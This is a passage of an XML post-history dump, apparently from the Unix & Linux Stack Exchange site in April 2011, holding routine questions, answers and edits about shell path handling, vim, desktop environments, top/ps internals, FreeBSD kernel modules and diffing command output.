./bin/gobject-query&#xD;&#xA;    ./include/glib-2.0/gobject&#xD;&#xA;    ./include/glib-2.0/gobject/gobject.h&#xD;&#xA;    ./include/glib-2.0/gobject/gobjectnotifyqueue.c&#xD;&#xA;    ./share/man/man1/gobject-query.1&#xD;&#xA;    ./share/glib-2.0/gdb/gobject.py&#xD;&#xA;    ./share/gtk-doc/html/gobject&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Boxed-Types.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Closures.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject.devhelp&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject.devhelp2&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Enumeration-and-Flag-Types.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Generic-values.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-GParamSpec.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-memory.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-properties.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-query.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Signals.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Standard-Parameter-and-Value-Types.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-The-Base-Object-Type.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Type-Information.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Value-arrays.html&#xD;&#xA;    ./share/gtk-doc/html/gobject/gobject-Varargs-Value-Collection.html&#xD;&#xA;    ./lib/pkgconfig/gobject-2.0.pc&#xD;&#xA;    ./lib/pkgconfig/gobject-2.0-uninstalled.pc&#xD;&#xA;    [slively@gpu1 ~]$ &#xD;&#xA;&#xD;&#xA;And, the only instances of `glib-mkenums` are in `~/bin` and the donwload folder where I built glib.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [slively@gpu1 ~]$ find . -name glib-mkenums&#xD;&#xA;    ./bin/glib-mkenums&#xD;&#xA;    ./download/glib-2.28.6/gobject/glib-mkenums&#xD;&#xA;    [slively@gpu1 ~]$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I missing here? One thing I love about Windows: install = &quot;click click, Accept.&quot;&#xD;&#xA;&#xD;&#xA;HELP.&#xD;&#xA;" />
  <row Id="28456" PostHistoryTypeId="1" PostId="11712" RevisionGUID="1962592e-6591-48f0-baa1-597e3f959c27" CreationDate="2011-04-20T17:31:18.267" UserId="6807" Text="Building monotools-server, gtk+, pango - bizarre path issues" />
  <row Id="28457" PostHistoryTypeId="3" PostId="11712" RevisionGUID="1962592e-6591-48f0-baa1-597e3f959c27" CreationDate="2011-04-20T17:31:18.267" UserId="6807" Text="éconfigurationàémonoàémakeàégtkà" />
  <row Id="28458" PostHistoryTypeId="2" PostId="11713" RevisionGUID="7a8ead98-37be-4308-a48d-60cc2dcaa499" CreationDate="2011-04-20T17:53:42.997" UserId="5861" Text="I want to know how do top and ps commands calculate the CPU utilization using the /proc/[pid]/stat file and also how does they obtain memory utilization about the process .&#xD;&#xA;&#xD;&#xA;And another problem is that how can we read contents( subdirectories and files name) of a directory using C language." />
  <row Id="28459" PostHistoryTypeId="1" PostId="11713" RevisionGUID="7a8ead98-37be-4308-a48d-60cc2dcaa499" CreationDate="2011-04-20T17:53:42.997" UserId="5861" Text="top and ps command" />
  <row Id="28460" PostHistoryTypeId="3" PostId="11713" RevisionGUID="7a8ead98-37be-4308-a48d-60cc2dcaa499" CreationDate="2011-04-20T17:53:42.997" UserId="5861" Text="élinuxàécommandölineà" />
  <row Id="28461" PostHistoryTypeId="2" PostId="11714" RevisionGUID="209e19ca-1c4c-477b-876b-6cabb24c4e8d" CreationDate="2011-04-20T17:55:25.770" UserId="2168" Text="If you want &quot;folder1&quot;, then type &quot;folder1&quot; ...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you want the second-to-last path component, this works in both `sh` and `bash`:&#xD;&#xA;&#xD;&#xA;    dir=${path%/*}&#xD;&#xA;    dir=${dir##*/}&#xD;&#xA;&#xD;&#xA;(assuming `$path` contains the full path)" />
  <row Id="28462" PostHistoryTypeId="5" PostId="11713" RevisionGUID="0a5d5a5b-82f0-4944-9533-6701402e39da" CreationDate="2011-04-20T17:59:39.500" UserId="5861" Comment="added 9 characters in body" Text="I want to know how do top and ps commands calculate the CPU utilization using the /proc/[pid]/stat file and also how does they obtain memory utilization about the process .&#xD;&#xA;&#xD;&#xA;And another problem is that how can we read contents( subdirectories and files name) of a directory using C language in linux." />
  <row Id="28463" PostHistoryTypeId="2" PostId="11715" RevisionGUID="4405922a-ae25-4f5b-b1fd-2833390a1a6e" CreationDate="2011-04-20T18:01:14.570" UserId="6803" Text="&gt; There are classic problems like&#xD;&#xA;&gt; backspace not working in vim...&#xD;&#xA;&#xD;&#xA;Perhaps you are talking about the behaviour of vim to delete with backspace&#xD;&#xA;only the chars you typed in the current edition, and preventing you to do so&#xD;&#xA;with characters already present before you entered in editing mode.&#xD;&#xA;&#xD;&#xA;That behaviour is changed by setting:&#xD;&#xA;&#xD;&#xA;    set backspace=indent,eol,start&#xD;&#xA;" />
  <row Id="28464" PostHistoryTypeId="5" PostId="11713" RevisionGUID="102d4d36-ea3c-4466-bec3-abed9c2b8853" CreationDate="2011-04-20T18:02:50.840" UserId="2421" Comment="removed unrelated question" Text="I want to know how do top and ps commands calculate the CPU utilization using the /proc/[pid]/stat file and also how does they obtain memory utilization about the process." />
  <row Id="28465" PostHistoryTypeId="25" PostId="11710" RevisionGUID="9ae73066-4233-4d45-838d-af89706fa806" CreationDate="2011-04-20T18:09:09.957" Comment="http://twitter.com/#!/StackUnix/status/60766972912218112" />
  <row Id="28466" PostHistoryTypeId="2" PostId="11716" RevisionGUID="ef560341-083e-4b87-b8d7-a464331bfd29" CreationDate="2011-04-20T18:16:15.380" UserId="4404" Text="Here's my try:&#xD;&#xA;&#xD;&#xA;    find . -name abc.png -exec dirname {} \; |grep -o '[^/]*$'" />
  <row Id="28467" PostHistoryTypeId="2" PostId="11717" RevisionGUID="0ae98ecd-e4dd-4dbf-9f08-6e6b96ce0607" CreationDate="2011-04-20T18:26:00.923" UserId="6810" Text="Hi All,&#xD;&#xA;&#xD;&#xA;Right now I'm using the KDE desktop on Fedora, but I want to switch to Gnome. Problem is, I have many things open right now (xterms, xemacs, etc, etc), and I don't want to close all of them, log out, switch, then reopen everything...that'd take way too long.&#xD;&#xA;&#xD;&#xA;So my question is: **is it possible to switch to Gnome without having to log out?? Or switch but NOT have to close and reopen everything?**&#xD;&#xA;&#xD;&#xA;Please excuse me if there's an error in my understanding of unix desktops. Still a newbie!&#xD;&#xA;&#xD;&#xA;Thanks!!!" />
  <row Id="28468" PostHistoryTypeId="1" PostId="11717" RevisionGUID="0ae98ecd-e4dd-4dbf-9f08-6e6b96ce0607" CreationDate="2011-04-20T18:26:00.923" UserId="6810" Text="Switch to Gnome from KDE without logging out" />
  <row Id="28469" PostHistoryTypeId="3" PostId="11717" RevisionGUID="0ae98ecd-e4dd-4dbf-9f08-6e6b96ce0607" CreationDate="2011-04-20T18:26:00.923" UserId="6810" Text="égnomeàékdeàédesktopöenvironmentà" />
  <row Id="28470" PostHistoryTypeId="2" PostId="11718" RevisionGUID="c0a6c758-3ccc-4478-a92e-da258249ba8e" CreationDate="2011-04-20T18:34:01.917" UserId="6167" Text="I'd say ultimately no.  Many things can be swapped out or used together like having both Gnome Terminal and Konsole open.  You can also have Dolphin/Konqueror open with Nautilus.  You can probably kill the Gnome Panel and start KDE's version of it, but switching the whole desktop is complicated by the session manager.  The session manager is the one process started by the login manager that represents the session.  If it exits, the session ends regardless of anything else running.  When X11 sees the session end it will kill any existing connections to programs and restart the X server.  Also, the session manager will restart any processes like Gnome Panel that it believes is vital to the session.  You can change this for each process under preferences, but these settings will be saved making it difficult to try to restore your desktop to normal." />
  <row Id="28471" PostHistoryTypeId="2" PostId="11719" RevisionGUID="509dd997-ed3c-41b0-9cc3-394be24e2503" CreationDate="2011-04-20T18:48:52.707" UserId="4667" Text="    path=/home/user/test/folder1/abc.def&#xD;&#xA;    folder=$(basename $(dirname $path))" />
  <row Id="28472" PostHistoryTypeId="2" PostId="11720" RevisionGUID="97acd134-8c7e-4ad2-9d73-6c0a3cb920c1" CreationDate="2011-04-20T18:49:06.023" UserId="6761" Text="I would use awk.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    find /home -name &quot;*.png&quot; | awk -F&quot;/&quot; '{print $5}'" />
  <row Id="28473" PostHistoryTypeId="2" PostId="11721" RevisionGUID="1379a770-5a0a-4f0f-86f1-924df257fcb5" CreationDate="2011-04-20T18:53:24.083" UserId="6811" Text="I'm curious:&#xD;&#xA;&#xD;&#xA;What, exactly are the benefits to statically linking modules into the kernel rather than loading through rc.conf, etc?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;To add linux emulation, I could add `linux_enable=&quot;YES&quot;` to `/etc/rc.conf`, or I could link it into the kernel by adding `options COMPAT_LINUX` to my kernel config.&#xD;&#xA;&#xD;&#xA;Is there actually an advantage to this? If so, what?" />
  <row Id="28474" PostHistoryTypeId="1" PostId="11721" RevisionGUID="1379a770-5a0a-4f0f-86f1-924df257fcb5" CreationDate="2011-04-20T18:53:24.083" UserId="6811" Text="[FreeBSD] rc.conf, loader.conf vs static kernel linking" />
  <row Id="28475" PostHistoryTypeId="3" PostId="11721" RevisionGUID="1379a770-5a0a-4f0f-86f1-924df257fcb5" CreationDate="2011-04-20T18:53:24.083" UserId="6811" Text="ékernelàéfreebsdàéconfigurationàékernelömodulesà" />
  <row Id="28476" PostHistoryTypeId="5" PostId="11719" RevisionGUID="e2534dc3-f7ad-4b9a-ac98-cb2b386cfeae" CreationDate="2011-04-20T18:56:17.290" UserId="4667" Comment="added 179 characters in body" Text="    path=/home/user/test/folder1/abc.def&#xD;&#xA;    folder=$(basename $(dirname $path))&#xD;&#xA;&#xD;&#xA;or, if you want to operate on the output of find (i.e. several paths, one per line)&#xD;&#xA;&#xD;&#xA;    find ... | awk -F/ '{print $(NF-1)}'&#xD;&#xA;    find ... | sed 's#.*/\([^/]*\)/[^/]*$#\1#'" />
  <row Id="28477" PostHistoryTypeId="2" PostId="11722" RevisionGUID="5fa6988e-1756-4a42-81b6-00466edd0c62" CreationDate="2011-04-20T19:05:11.827" UserId="6812" Text="The first answer is quite correct but misses the historical context that when UNIX systems were first brought into larger data centers &quot;operator&quot; was usually the actual job title for the staff performing simple routine tasks on the systems." />
  <row Id="28478" PostHistoryTypeId="2" PostId="11723" RevisionGUID="d6a0cb43-0e00-45e4-b3f3-900a979982bb" CreationDate="2011-04-20T19:06:24.430" UserId="1925" Text="Are you looking for that part of the path based on a fixed location from the left of the path or fixed depth from the right? If you are looking from the left you can do this easily with cut by using '/' as a field separator and grabbing the fourth field like this:&#xD;&#xA;&#xD;&#xA;    find ... | cut -d/ -f4" />
  <row Id="28479" PostHistoryTypeId="2" PostId="11724" RevisionGUID="62408b49-410b-4aba-a949-8d5764193f58" CreationDate="2011-04-20T19:07:43.667" UserId="6663" Text="This is a follow on question to &#xD;&#xA;&#xD;&#xA;&lt;http://unix.stackexchange.com/questions/11498/how-to-trap-a-suspend-a-resume-from-a-bash-script&gt;&#xD;&#xA;&#xD;&#xA;How do you a trap the event that occurs when you close the lid and later reopen it from a bash script?&#xD;&#xA;" />
  <row Id="28480" PostHistoryTypeId="1" PostId="11724" RevisionGUID="62408b49-410b-4aba-a949-8d5764193f58" CreationDate="2011-04-20T19:07:43.667" UserId="6663" Text="how to detect a laptop hibernate/resume(close lid,open) in osx from a bash script" />
  <row Id="28481" PostHistoryTypeId="3" PostId="11724" RevisionGUID="62408b49-410b-4aba-a949-8d5764193f58" CreationDate="2011-04-20T19:07:43.667" UserId="6663" Text="ébashàéosxàésuspendà" />
  <row Id="28482" PostHistoryTypeId="2" PostId="11725" RevisionGUID="fd75fae0-a89c-45de-ae21-8a02b156c0e1" CreationDate="2011-04-20T19:18:21.380" UserId="1925" Text="No the commands are exactly the same. It sounds like you have an input problem. Either your keyboard is messed up or your terminal is on the fritz or something." />
  <row Id="28483" PostHistoryTypeId="5" PostId="11720" RevisionGUID="62831a65-7192-40db-9e9a-a2c45bfc5a3a" CreationDate="2011-04-20T19:24:14.153" UserId="6761" Comment="deglobbed png" Text="I would use awk.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    find /home -name &quot;abc.png&quot; | awk -F&quot;/&quot; '{print $5}'" />
  <row Id="28484" PostHistoryTypeId="2" PostId="11726" RevisionGUID="8cd3e9b8-b645-4d18-8336-302407125fa8" CreationDate="2011-04-20T19:25:30.830" UserId="6472" Text="Are you sure you're not using vi instead of vim?" />
  <row Id="28485" PostHistoryTypeId="2" PostId="11727" RevisionGUID="3e03e1e1-a228-4e50-ad78-4ec5036f9f63" CreationDate="2011-04-20T19:29:44.153" UserId="1925" Text="The changes you are making are not local to Matlab. The command you setup an alias for edits the keymap of the current X session, then starts Matlab. The changes end up on your machine because you have x-forwarding properties in your ssh session that allow programs to talk to the upstream X server. You could just as easily run an xterm on the remote computer and it would launch locally, because that shell knows that it's upstream X session is through your SSH connection.&#xD;&#xA;&#xD;&#xA;In fact if this were not the case, your keyboard map fix would do nothing at all. Your local X server is the right place to set that, and, as far as I know, the only place that will work." />
  <row Id="28486" PostHistoryTypeId="2" PostId="11728" RevisionGUID="3f07de9e-2d73-4793-b5be-bf6dc59f76c9" CreationDate="2011-04-20T19:33:45.123" UserId="6167" Text="Statically linking used to be the only way to load a module which is think is the primary reason to having options like COMPAT_LINUX.  Also, prior to `loader`, it used to be the only way to load modules necessary to get FreeBSD to get the necessary drivers to mount the root file system and boot FreeBSD.  Nowadays, I don't think there is any significant benefit to statically linking in a module if it can be easily loaded at runtime.  I don't think you will see any benefit in performance by statically linking Linux compatibility support, but some users still swear by it.  I would avoid it just because of the inconvenience of recompiling a Kernel for little to no perceived performance gain." />
  <row Id="28487" PostHistoryTypeId="5" PostId="11707" RevisionGUID="34c8cf7b-9511-4d42-8b5d-8dbbe0fc1fe6" CreationDate="2011-04-20T19:35:25.443" UserId="1925" Comment="I as a pronoun is always capitalized in English. To get to insert mode in vim you must use a lower case 'i'. Also fixed other English mistakes." Text="I am unable to edit text files using vim in cygwin.&#xD;&#xA;&#xD;&#xA;I have to press &lt;kbd&gt;i&lt;/kbd&gt; many times to insert text. Sometimes it works and sometimes doesn't. Whenever I move cursor up down I have to press I many times.&#xD;&#xA;&#xD;&#xA;What could be the problem? Does &lt;kbd&gt;backspace&lt;/kbd&gt; work in cygwin?" />
  <row Id="28488" PostHistoryTypeId="4" PostId="11707" RevisionGUID="34c8cf7b-9511-4d42-8b5d-8dbbe0fc1fe6" CreationDate="2011-04-20T19:35:25.443" UserId="1925" Comment="I as a pronoun is always capitalized in English. To get to insert mode in vim you must use a lower case 'i'. Also fixed other English mistakes." Text="Are cygwin vim commands different than normal vim?" />
  <row Id="28489" PostHistoryTypeId="24" PostId="11707" RevisionGUID="34c8cf7b-9511-4d42-8b5d-8dbbe0fc1fe6" CreationDate="2011-04-20T19:35:25.443" Comment="Proposed by 1925 approved by 885 edit id of 296" />
  <row Id="28490" PostHistoryTypeId="5" PostId="11711" RevisionGUID="2d662175-d872-42f1-afe9-d2ef8c12587b" CreationDate="2011-04-20T19:36:07.347" UserId="1925" Comment="Fixed english" Text="I'm using a computer running Ubuntu and I'm connected through ssh to a RedHat machine where I use Matlab in command line mode (matlab -nodesktop). Matlab version is `7.10.0.499 (R2010a)`.&#xD;&#xA;&#xD;&#xA;My problem occurs when I type any key which produces &quot;special characters&quot;, such&#xD;&#xA;as &lt;kbd&gt;ñ&lt;/kbd&gt;, &lt;kbd&gt;á&lt;/kbd&gt;, etc...&#xD;&#xA;&#xD;&#xA;I managed to solve this, by setting this alias to matlab:  &#xD;&#xA;&#xD;&#xA;    alias mat 'xmodmap -e &quot;keycode 47 = Escape&quot; -e &quot;keycode 34 = Escape&quot;; matlab -nodesktop; setxkbmap;'&#xD;&#xA;&#xD;&#xA;...but this solution makes these changes globally, and I cannot type those characters (as long as matlab is running) in any other application including terminals, browsers, etc.&#xD;&#xA;&#xD;&#xA;I read that this is a problem for this version of Matlab, but in that case,&#xD;&#xA;a new question arises: if I use xmodmap in a terminal (xterm) connected to&#xD;&#xA;other machine, why are those changes spread globally to my session?" />
  <row Id="28491" PostHistoryTypeId="24" PostId="11711" RevisionGUID="2d662175-d872-42f1-afe9-d2ef8c12587b" CreationDate="2011-04-20T19:36:07.347" Comment="Proposed by 1925 approved by 885 edit id of 298" />
  <row Id="28492" PostHistoryTypeId="2" PostId="11729" RevisionGUID="09f099e6-9a03-42b0-9d0d-b8735eac14e7" CreationDate="2011-04-20T19:38:48.910" UserId="6167" Text="I think you want to look at the command `VBoxManage convertfromraw` or `VBoxManage clonehd`.  I can't remember exactly how to do it, but I found these two guides: http://www.virtualbox.org/wiki/Migrate_Windows and http://www.pendrivelinux.com/boot-a-usb-flash-drive-in-virtualbox/.&#xD;&#xA;&#xD;&#xA;Once you have the hard drive converted, you can just create a new Virtual Machine, but use your existing disk image you just created." />
  <row Id="28493" PostHistoryTypeId="5" PostId="11713" RevisionGUID="0c45c00b-7cdb-46d3-95bd-f4c96c14e5fb" CreationDate="2011-04-20T19:43:32.070" UserId="1925" Comment="English is a language with rules too :)" Text="How do the commands `top` and `ps` calculate CPU utilization using the `/proc/[$pid]/stat` file? Also how do they obtain memory utilization information about the process?" />
  <row Id="28494" PostHistoryTypeId="4" PostId="11713" RevisionGUID="0c45c00b-7cdb-46d3-95bd-f4c96c14e5fb" CreationDate="2011-04-20T19:43:32.070" UserId="1925" Comment="English is a language with rules too :)" Text="Workings of top and ps commands" />
  <row Id="28495" PostHistoryTypeId="24" PostId="11713" RevisionGUID="0c45c00b-7cdb-46d3-95bd-f4c96c14e5fb" CreationDate="2011-04-20T19:43:32.070" Comment="Proposed by 1925 approved by 885 edit id of 299" />
  <row Id="28496" PostHistoryTypeId="6" PostId="11707" RevisionGUID="163cd765-e3ab-472a-99c9-30e431e3e161" CreationDate="2011-04-20T19:44:32.837" UserId="885" Comment="edited tags" Text="évimàécygwinà" />
  <row Id="28497" PostHistoryTypeId="2" PostId="11730" RevisionGUID="31f7212c-6047-4320-aef5-2c0d14a79118" CreationDate="2011-04-20T19:45:06.080" UserId="1925" Text="Back before session managers and desktop environments like Gnome and KDE, it was possible to swap out the running window manager. Sway you were switching from twm to blackbox, you could run `killall twm &amp;&amp; blackbox` to kill off the old and without terminating the session, launch a new one.&#xD;&#xA;&#xD;&#xA;These days with the complexity and layers going on, I don't think that is practical to do. In fact I wouldn't bother trying, you will just end up with a messy environment.&#xD;&#xA;&#xD;&#xA;Instead if you if you frequently need access to the full environment provided by each (say for testing software) look into the fact that you can run more than one X server at once. You could get one going and login to Gnome on console 7 and have another full blown X server on console 8 with KDE, and switch back and forth on a wim with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Another suggestion would be to run a [Xephyr][1] server which will basically allow you to run a second whole desktop environment inside a window of the first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedesktop.org/wiki/Software/Xephyr" />
  <row Id="28498" PostHistoryTypeId="2" PostId="11731" RevisionGUID="80213708-e83f-4f28-b710-a431a8a37de4" CreationDate="2011-04-20T20:14:11.517" UserId="6167" Text="Alt-Tab is controlled by your Window Manager.  Gnome uses either metacity or compiz if effects are turned on.  They each behave slightly differently with Alt-Tab.  I don't have any delay with either WM, Alt-Tab is quite fast on my system.  If your using Compiz, you try turning down effects in `ccsm` or try switching to Metacity.  Alt-Shift-Tab also works with both WMs.  I'm not completely thrilled with Metacity's behavior.  When going backwards, it initially skips minimized Windows.  Luckily, I rarely find a need to minimize, but it's annoying when I do.  Based on your third point, it sounds like the Alt-Tab behavior of Compiz which is just like how Windows 7 ruins Alt-Tab if I hold on one Window for too long.  That behavior can be configured with `ccsm` under Window Management -&gt; Static Application Switcher -&gt; Appearence -&gt; Selected Window Highlight.  Try turning Opacity to 100% and/or changing Hilight Mode.  Your second issue might be a problem with Key Bindings.  Key Binding for Compiz are under Window Management -&gt; Static Application Switcher -&gt; Bindings." />
  <row Id="28499" PostHistoryTypeId="2" PostId="11732" RevisionGUID="53d920c3-c9e5-4123-9d67-a146c3c38fa8" CreationDate="2011-04-20T20:38:47.910" UserId="6813" Text="I'm also having trouble getting Remmina to log into Windows 7 SP1+.  The specific Win 7 machine I'm trying to log into over RDP is a VMWARE 7.1.4 Virtual Machine.  I used to log into my XP machine over RDP so I could have sound on my thin client workstation.  Which is one really cool leg up on VNC.  I also think RDP is a smidge faster than VNC.  I'm not sure if NX supports sound but it seems to be even more of a turd sandwich to config.  I think NX uses x11 network transparency which kinda precludes it from working as a server on the windows end although it sounds possible to run it the other direction.  If the major distros ever switch to Waylan or whatever over x11 alot of that core functionality will be lost.  &#xD;&#xA;&#xD;&#xA;I think the RDP problem stems from a version change.  I've heard that win 7 uses a different version of RDP called RDPv5.  The terminal server client offers this newer protocol but I was unable to achieve anything resembling success.  I know I have RDP enabled on my win 7 box (though there are less options) and people claim the firewall automatically configures itself.  I don't remember having this much trouble with xp RDP and Remmina running on 10.10.  I'm going to build a new xp VM to test but in the meantime if anyone has any suggestions or explanations let me know.  This is really kinda frustrating." />
  <row Id="28500" PostHistoryTypeId="5" PostId="11704" RevisionGUID="85e5c83e-a8ee-4cf5-8390-ee2977c072bc" CreationDate="2011-04-20T20:44:17.410" UserId="885" Comment="added double quotes around parameter substitutions" Text="This works for arbitrarily deep subdirectories:&#xD;&#xA;&#xD;&#xA;    $ find temps/ -name &quot;thumb.png&quot; | while IFS= read -r NAME; do cp -v &quot;$NAME&quot; &quot;separate/${NAME//\//_}&quot;; done&#xD;&#xA;    `temps/thumb.png' -&gt; `separate/temps_thumb.png'&#xD;&#xA;    `temps/dir3/thumb.png' -&gt; `separate/temps_dir3_thumb.png'&#xD;&#xA;    `temps/dir3/dir31/thumb.png' -&gt; `separate/temps_dir3_dir31_thumb.png'&#xD;&#xA;    `temps/dir3/dir32/thumb.png' -&gt; `separate/temps_dir3_dir32_thumb.png'&#xD;&#xA;    `temps/dir1/thumb.png' -&gt; `separate/temps_dir1_thumb.png'&#xD;&#xA;    `temps/dir2/thumb.png' -&gt; `separate/temps_dir2_thumb.png'&#xD;&#xA;    `temps/dir2/dir21/thumb.png' -&gt; `separate/temps_dir2_dir21_thumb.png'&#xD;&#xA;&#xD;&#xA;The interessting part is the [parameter expansion](http://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html) `${NAME//\//_}`. It takes the content of `NAME`, and replaces every occurence of `/` with `_`.&#xD;&#xA;&#xD;&#xA;Note: the result is dependent on the working directory and the path parameter for find. I executed the command from the parent directory of temps. Replace `cp` with `echo` to experiment." />
  <row Id="28501" PostHistoryTypeId="6" PostId="11697" RevisionGUID="c88ba1d5-abf6-410d-8d59-b81bdec15240" CreationDate="2011-04-20T20:46:18.750" UserId="885" Comment="edited tags" Text="éshellàéfindàérenameà" />
  <row Id="28502" PostHistoryTypeId="2" PostId="11733" RevisionGUID="a148261a-79b3-440e-b91d-8884a7e5eb9e" CreationDate="2011-04-20T20:46:54.843" UserId="5884" Text="Normally you would write:&#xD;&#xA;&#xD;&#xA;    diff file1 file2&#xD;&#xA;&#xD;&#xA;But I would like to diff a file and output from the command (here I make command a trivial one):&#xD;&#xA;&#xD;&#xA;    diff file1 &lt;(cat file2 | sort)&#xD;&#xA;&#xD;&#xA;Ok, this work when I enter this manually at shell prompt, but when I put exactly the same line in shell script, and then run the script, I get error.&#xD;&#xA;&#xD;&#xA;So, the question is -- how to do this correctly?&#xD;&#xA;&#xD;&#xA;*Of course I would like avoid writing the output to a temporary file.*" />
  <row Id="28503" PostHistoryTypeId="1" PostId="11733" RevisionGUID="a148261a-79b3-440e-b91d-8884a7e5eb9e" CreationDate="2011-04-20T20:46:54.843" UserId="5884" Text="How to diff a file and output from the command?" />
  <row Id="28504" PostHistoryTypeId="3" PostId="11733" RevisionGUID="a148261a-79b3-440e-b91d-8884a7e5eb9e" CreationDate="2011-04-20T20:46:54.843" UserId="5884" Text="éshellàédiffà" />
  <row Id="28505" PostHistoryTypeId="2" PostId="11734" RevisionGUID="1c6190da-789b-4ce0-b4cf-4fdec364a536" CreationDate="2011-04-20T20:51:16.360" UserId="1925" Text="I suspect your script and your shell are different. Perhaps you have `#!/bin/sh` at the top of your script as the interpreter but you are using `bash` as your personal shell. You can find out what shell you run in a terminal by running `echo $SHELL`.&#xD;&#xA;&#xD;&#xA;An easier way to do this which should work across most shells would be to use a pipe redirect instead of the file read operator you give. The symbol '-' is a standard nomenclature for reading STDIN and can frequently be used as a replacement for a file name in an argument list:&#xD;&#xA;&#xD;&#xA;    cat file2 | sort | diff file1 -" />
  <row Id="28506" PostHistoryTypeId="6" PostId="11733" RevisionGUID="fad1b94b-4d5c-46e1-b729-74da9407b64a" CreationDate="2011-04-20T20:56:07.107" UserId="885" Comment="edited tags" Text="éshellàéioöredirectionà" />
  <row Id="28507" PostHistoryTypeId="6" PostId="11685" RevisionGUID="d60d2beb-0ac3-4ab8-9d47-b7802c7052c3" CreationDate="2011-04-20T21:00:36.357" UserId="885" Comment="edited tags" Text="ésolarisàénfsàédirectoryöstructureàéhomeà" />
  <row Id="28508" PostHistoryTypeId="6" PostId="11702" RevisionGUID="cb65d8d3-ff8c-458a-94d6-4f225f6ae12b" CreationDate="2011-04-20T21:00:57.527" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàévideoàérecordingàéskypeà" />
  <row Id="28509" PostHistoryTypeId="6" PostId="11694" RevisionGUID="59cfc7ef-4a5a-47c1-a920-0b370527b207" CreationDate="2011-04-20T21:04:51.953" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingà" />
  <row Id="28511" PostHistoryTypeId="25" PostId="11733" RevisionGUID="c08dce28-5f16-4bab-a51e-b53f297e2198" CreationDate="2011-04-20T21:09:09.840" Comment="http://twitter.com/#!/StackUnix/status/60812271433170944" />
  <row Id="28512" PostHistoryTypeId="2" PostId="11735" RevisionGUID="0b4f0801-d012-4af1-8481-46b8a7a32823" CreationDate="2011-04-20T21:12:53.823" UserId="885" Text="If you want to migrate the whole installation byte-for-byte, in essence making a copy of the disk: read [penguin359's answer](http://unix.stackexchange.com/questions/11706/virtualbox-image-from-running-vps/11729#11729), or see [Moving linux install to a new computer](http://unix.stackexchange.com/questions/2865/moving-linux-install-to-a-new-computer/2868#2868).&#xD;&#xA;&#xD;&#xA;If you just want to reproduce the settings of an existing installation: install a basic system from scratch, then run `aptitude-create-state-bundle` on the VPS to export your package selection and APT settings, and run `aptitude-run-state-bundle` to import these settings into the VirtualBox installation (and in particular get the same set of packages installed). Then migrate your customizations: `/etc` (where you'll have to change a few files), `/home`, and `/var/www` or wherever you keep your web server data. See also [How do I migrate configuration between computers with different hardware?](http://unix.stackexchange.com/questions/7364/how-do-i-migrate-configuration-between-computers-with-different-hardware/7401#7401). See also [a step-by-step cloning guide](http://askubuntu.com/questions/386/how-can-i-most-easily-migrate-all-my-apps-and-settings-from-one-ubuntu-install-to/5025#5025), which addresses what files you'll most likely need to change in `/etc`.&#xD;&#xA;" />
  <row Id="28513" PostHistoryTypeId="6" PostId="11706" RevisionGUID="a3ee26e8-7e06-4596-9626-d6e63bcf59d0" CreationDate="2011-04-20T21:13:18.627" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàévirtualboxàémigrationà" />
  <row Id="28514" PostHistoryTypeId="2" PostId="11736" RevisionGUID="bf4aa978-c79f-425a-9132-6df61cd502c7" CreationDate="2011-04-20T21:26:51.570" UserId="4319" Text="There is also a [Curry](http://en.wikipedia.org/wiki/Curry_programming_language) library for reading/writing files in CSV format: [CSV](http://www.informatik.uni-kiel.de/~pakcs/lib/CDOC/CSV.html)." />
  <row Id="28515" PostHistoryTypeId="5" PostId="11734" RevisionGUID="6ec68ea2-5f99-479c-b948-7910510dee0d" CreationDate="2011-04-20T21:33:37.557" UserId="1925" Comment="added 127 characters in body" Text="I suspect your script and your shell are different. Perhaps you have `#!/bin/sh` at the top of your script as the interpreter but you are using `bash` as your personal shell. You can find out what shell you run in a terminal by running `echo $SHELL`.&#xD;&#xA;&#xD;&#xA;An easier way to do this which should work across most shells would be to use a pipe redirect instead of the file read operator you give. The symbol '-' is a standard nomenclature for reading STDIN and can frequently be used as a replacement for a file name in an argument list:&#xD;&#xA;&#xD;&#xA;    cat file2 | sort | diff file1 -&#xD;&#xA;&#xD;&#xA;Or to avoid a [useless use of cat][1]:&#xD;&#xA;&#xD;&#xA;    sort &lt; file2 | diff file1 -&#xD;&#xA;&#xD;&#xA;  [1]: http://partmaps.org/era/unix/award.html" />
